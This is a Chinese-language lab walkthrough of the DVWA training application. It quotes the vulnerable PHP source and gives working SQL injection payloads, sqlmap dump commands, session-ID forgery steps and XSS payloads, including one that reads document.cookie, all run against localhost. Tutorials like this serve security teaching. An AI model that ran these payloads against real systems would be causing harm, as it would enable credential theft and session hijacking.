$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
$html .= "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
- 查看源码,服务器的验证逻辑是当
$resp是true,并且参数recaptcha_response_field等于hidd3n_valu3(或者http包头的User-Agent参数等于reCAPTCHA)时,就认为验证码输入正确,反之错误。

- 由于
$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。 - 修改参数,点击
Send:显示修改成功。

3.7 Weak Session IDS(弱会话ID)
3.7.1 Low级别
- 查看源码
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
- 服务器每次生成的
session_id加1给客户端,setcookie("dvwaSession", $cookie_value);就是设置session的值;

- 采用
admin用户登录,点击Generate,采用bp进行抓包,发现每点击一次Generate,Cookie中dvwaSession会自增1,第一次点击Generate时无dvwaSession,默认是0;复制上图中的Cookies值; - 此时清除浏览器缓存,重新访问
http://127.0.0.1/dvwa/vulnerabilities/weak_id/,抓包后将Cookie值改为上图中的Cookie,点击Forward,就会跳过登录,直接进入主页,如下图所示。

3.7.2 Middle级别
- 查看源码
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
- medium级别是基于时间戳生成
dvwaSession的,关于时间戳转换,直接查找转换器进行转换即可。

- 采用时间戳转换工具:https://tool.lu/timestamp/

- 将时间戳转换后,可采用与Low级别一样的方式进行攻击。
3.7.3 High级别
- 查看源码:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
- high级别使用了PHP setcookie()函数,来设置cookie。抓包发现,dvwaSession值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密。

- 如上图所示,设置为
High级别时,抓包所示效果。在Repeater中,点击Send,在Response中查找dvwaSession为MD5加密结果,进行MD5解密:https://www.cmd5.com/

- 将
dvwaSession值设置成为MD5加密的数字,进行页面请求,即可完成攻击。


3.8 SQL Injection(SQL注入)
- sql注入原理:通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段;

-
SQL注入分类
(1) 数字型
(2) 字符型
(3) 报错注入
(4) Boollean注入
(5) 时间注入 -
SQL注入思路
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数
(3).确定回显位置
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据 -
SQL注入绕过方法
(1)注释符号绕过
(2)大小写绕过
(3)内联注释绕过
(4)特殊编码绕过
(5)空格过滤绕过
(6)过滤or and xor not 绕过 -
SQL注入漏洞 定义:SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
-
SQL注入漏洞原因:
(1)SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞;
(2)web 开发人员无法保证所有的输入都已经过滤;
(3)攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中);
(4)数据库未做相应的安全配置; -
SQL注入漏洞危害
(1)猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
(2)绕过认证,列如绕过验证登录网站后台。
(3)注入可以借助数据库的存储过程进行提权等操作。
3.8.1 Low级别

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
-
可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,后台执行sql语句
"SELECT first_name, last_name FROM users WHERE user_id = '$id';,存在明显的SQL注入漏洞。 -
漏洞分析:
1)判断注入类型:
输入1查看返回数据:
输入1'查看返回数据,显示报错:
继续输入1' and '1' ='1,查看返回数据:
继续输入1' and '1' ='2,无响应,认为是报错:

-
根据
id=1'报错和id=1'and '1'='1正确,我们可以确定是字符型注入。
2)判断字段数:order by:使用order by 进行判断字段数, 直到order by 进行报错时候就可确定字段数;
输入1' order by 1#查看返回数据:查询users表中user_id为1的数据并按第一字段排行;按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误;
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;
输入1' order by 2#查看返回数据:
输入id=1' order by 3#时报错了,说明字段只有2列:

3)判断回显位置,结合联合查询函数union select:
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#进行查询 :
实际执行SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;

database()将会返回当前网站所使用的数据库名字.;
user()将会返回执行当前查询的用户名;
通过上图返回信息,我们成功获取到:当前网站使用数据库为 dvwa;当前执行查询用户名为 root@localhost 。
再输入 1' union select version(),@@version_compile_os#进行查询:
实际执行SQL为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#;

version()获取当前数据库版本;@@version_compile_os 获取当前操作系统。
通过上图返回信息,我们又成功获取到:当前数据库版本为 : 5.7.26;当前操作系统为 : win64。
4)获取表名:
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
或1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;
发现报错 Illegal mix of collations for operation ‘UNION’, 解决办法: 是因为编码的问题,进一步搜索发现可以通过下载PhpMyAdmin来修改编码,具体步骤如下:
1)打开phpstudy_pro,下载phpMyadmin:

2)点击管理,浏览器打开,输入账号密码,我是root和root;

3)点击数据库dvwa,操作,排序规则将原来的编码改成“utf8_general_ci”,勾选更改所有表排序规则,执行,重启phpstudy_pro和dvwa;
4)若还是报错,建议在dvwa中点击Create/Reset Database即可;

- 报错解决后,输入
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#后,回传数据为:

- 通过上图返回信息,我们再获取到:
dvwa数据库有两个数据表,分别是guestbook和users。
5)获取字段中的信息:
猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users # 进行查询:
实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

- 可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到https://www.cmd5.com/进行解密。
3.8.2 Middle级别
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

- 这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
- 输入1点击Submit:

- 进行抓包,并进行请求:

- 修改字段为
1',请求时报错:

1)判断字段数:
输入id=1 order by 2#,查看返回数据:
2)判断回显,联合查询union select:
- 输入
1 union select database(),user()#查询数据库和用户名,查看返回数据:

- 输入
1 union select version(),@@version_compile_os#查询数据库版本和操作系统,查看返回数据:

3)获取表名:
输入1 union select table_name,table_schema from information_schema.tables where table_schema= database()#查询表名:

- 输入
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#查询表名:

4)获取表中字段名:

- 注意获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273
- 输入
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#users十六进制数为0x7573657273 ,查看返回数据:

5)获取表中数据:
输入1 union select user,password from users,查看数据:

3.8.3 High级别
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>

- 可以看出,点击
“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1; - 方法跟前面的差不多,直接爆账号密码,如输入
1' union select user,password from users#,查询返回数据:

3.9 SQL Injection(Blind)(SQL盲注)
- SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
- 盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
- 盲注分为三类:
1)布尔盲注: 成功与失败通过布尔值来展示;

2)报错盲注: 页面显示数据库报错信息;
3)时间盲注: 页面没有回显位置(联合注入无法使用)、页面不显示数据库的报错信息(报错注入无法使用)、无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)时,采用时间盲注;(时间盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。)
时间盲注利用前提:页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面延时5秒以上则说明判断成立,即存在注入;

- 盲注的一般步骤:
1)判断是否存在注入、注入是字符型还是数字型
2)猜解当前数据库名
3)猜解数据库中的表名
4)猜解表中的字段名
5)猜解数据
3.9.1 Low级别
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
- Low级别代码对参数
id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回结果只有2种:


- 基于返回数据,可进行布尔盲注;
1)查数据库前要先判断数据库的长度:
输入1' and length(database())=x #其中x为大于等于1的整数,当显示存在时即为数据库长度,发现当x=4是显示存在,故当前页面所使用的数据库长度为4;

2)采用二分法找数据库名:
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii码值#, (ASCII码值对照表:https://blog.csdn.net/wangyuxiang946/article/details/123519952)通过比较输入字母的ascii值的显示正常与否来逐个确定库名:

重复以上步骤,就可以得到完整的数据库名dvwa,以上过程建议采用代码实现。 - 采用sqlmap工具进行注入:
1)获取数据库名:在sqlmap工具安装目录运行python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --current-db时,显示报错:
解决方法:python sqlmap.py --update,完美解决,原来是版本低的原因。
2)"http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3"如何获得,页面输入1,点击Submit,进行抓包,在请求数据中获取数据:
3)问题解决后,重新执行python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --current-db时,一直输入y,时间较长,最后显示爆出的数据库名为dvwa;
4)获取表名:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa --tables,存在2张表,分别为guestbook和users;
5)获取users表中的数据:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --dump --batch,可展示所有数据及数据下载到本地的路径:

3.9.2 Middle级别
SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
-
解析 PHP代码,提交方式由get变成了post,针对提交方式由
get-->post,因此需要添加参数--data: -
1)查看数据库:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -dbs
参数获取:输入1后,点击Submit,进行Burpsuite抓包,获取所需参数;

-
2)爆出表名:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa --tables,查看返回数据:

-
3)爆出字段名:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users --columns,查看返回数据:

-
3)查看具体内容并下载:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users -C user,password -dump,查看返回数据:注意在user和password之间不能有空格;

-
4)查看表的全部内容并下载:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users --dump --batch

3.9.3 High级别
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/high.php
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

-
相较于前面两种,单独的这里
id值由cookie传递,设置了睡眠时间,增加了盲注的时间耗费; -
1)查看数据库: 输入
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --dbs,查看返回数据:
参数获取方式:页面点击Click here to change your ID.,弹出框输入1,进行抓包,第一个包如下所示:
点击Fordword后,展示第二个数据包:
从以上2个数据包中查找所需参数。 -
2)查看数据表: 输入
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa --tables,查看返回数据:

-
3)查看数据表字段: 输入
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --columns,查看返回数据:

-
4)脱库(部分表数据): 输入
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users -C user,password -dump,查看返回数据:

-
5)脱库(全部表数据): 输入
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --dump --batch,查看返回数据:

3.10 XSS(Cross Site Scripting 跨站脚本攻击)
- XSS,全称Cross Site Scripting,即跨站脚本攻击,通常指黑客通过 HTML 注入恶意脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
- 根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
- XSS利用的常见用途:盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限等等。
3.10.1 XSS(DOM)(DOM型跨站脚本攻击)
- DOM:DOM(Document Object Model)即文档对象模型,是W3C制定的标准接口规范,是一种处理HTML和XML文件的标准API。DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。DOM树结构精确地描述了HTML文档中标签间的相互关联性。将HTML或XML文档转化为DOM树的过程称为解析(parse)。HTML文档被解析后,转化为DOM树,因此对HTML文档的处理可以通过对DOM树的操作实现。
- 下面举例一个DOM将HTML代码转化成树状结构:
<html>
<head>
<meta charset="gbk" />
<title> TEST </title>
</head>
<body>
<p>The is p.<p>
<h1>Product:</h1>
<ul>
<li>Apple</li>
<li>Pear</li>
<li>Corn</li>
</ul>
</body>
</html>
- 转化成模型如下图:

3.10.1.1 Low级别
<?php
# No protections, anything goes
?>
- 源码中无任何保护措施,直接尝试注入;选择
English然后点击Select,查看URL变化:

- 我们直接在URL处增加payload
default=<script>alert(/xss/)</script>内容(其中<script> 标签用于定义客户端脚本,比如JavaScript,script 元素既可以包含脚本语句,也可以通过src 属性指向外部脚本文件;alert()是警告消息框,alert方法有一个参数,即希望对用户显示的文本字符串。该字符串不是 HTML 格式。该消息框提供了一个确定按钮让用户关闭该消息框,并且该消息框是模式对话框,即用户必须先关闭该消息框然后才能继续进行操作。),直接访问:

- 发现我们注入的payload执行成功。
3.10.1.2 Middle级别
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
-
可以看到源码里面,代码先检查了
default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos用于检测default值中是否有<script(stripos(string,find,start)参数描述:string必需。规定要搜索的字符串;find必需。规定要查找的字符;start可选。规定开始搜索的位置,字符串位置从0开始),如果有的话,则将default=English,说明代码针对<script>(不区分大小写)字段进行了过滤,略微加强了防护,但依旧可以攻破。当在URL上输入default=<script>alert(/xss/)</script>内容,直接访问时,页面无响应:说明<script>字段被过滤了,那么可以使用非<script>的;

-
下拉列表选择一个值,点击
Select查看URL变为http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English,页面源码如下所示:

-
由于代码过滤掉了
<script,所以我们尝试输入<img src=1 onerror=alert(/xss/)>
(onerror事件在加载外部文件(文档或图像)发生错误时触发,所以当图片的src属性值不存在时,会触发alert()警告消息框),构造Payload:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert(666)>

-
未弹出任何页面,查看源码发现我们的语句被插入到了
value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用,所以我们得先闭合前面的标签,我们构造语句闭合option标签。 -
构造Payload:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert(666)>直接在页面中访问:

-
但是我们的语句仍然没有执行,于是我们查看源代码,发现我们的语句中只有
>被插入到了option标签的值中,因为</option>闭合了option标签,所以img标签并没有插入。 -
于是我们继续构造语句去闭合
option标签和select标签,这下我们的img标签就是独立的一条语句了。构造Payload并在页面前端输入http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(/xss/)></option>进行请求,查看页面源码如下所示:其中标签必须闭合,不闭合无法利用XSS漏洞;

-
我们查看源代码,可以看到,我们的语句已经插入到页面中了。
-
或者构造Payload并在页面前端输入
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(/xss/)>进行请求,此Payload比上一个Payload缺少最后一个</option>,查看源码如下所示:

-
我们查看源代码,可以看到,我们的语句已经插入到页面中了。
3.10.1.3 High级别
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
- 可以发现使用了白名单的思想,只允许French,English,German以及Spanish,是否存在绕过的可能性呢,答案是肯定的,例如使用如下payload便会触发xss:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=#</option></select><BODY ONLOAD=alert(document.cookie)>(onload 属性在对象已加载时触发。onload常用在<body>中,一旦完全加载所有内容(包括图像、脚本文件、CSS 文件等),就执行一段脚本,在获取cookie的时候,document.cookie会获取该域名下的所有cookie),可以看到我们在English之后添加了#,在url中#后边的内容不会发送到服务端,从而可以实现绕过。

3.10.2 XSS (Reflected)(反射型跨站脚本攻击)
- 反射型xss(非持久型):需要欺骗用户自己去点击链接才能触发XSS代码;
- 攻击流程:
1)攻击者向服务器端注入一段js代码;
2)服务器端响应攻击者一个带有js代码的页面;
3)攻击者向普通用户发送带有js代码的页面,诱使用户点击页面;
4)用户点击攻击者所发送的页面,页面自动运行js代码,获取用户cookie,并发送给攻击者;
3.10.2.1 Low级别
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

- low级别的代码只是判断了
name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,没用进行任何的对XSS攻击的防御措施,存在非常明显的XSS漏洞,用户输入什么都会被执行; - 用alert进行弹窗测试验证是否存在XSS,输入
<script>alert('hack')</script>查看返回结果:

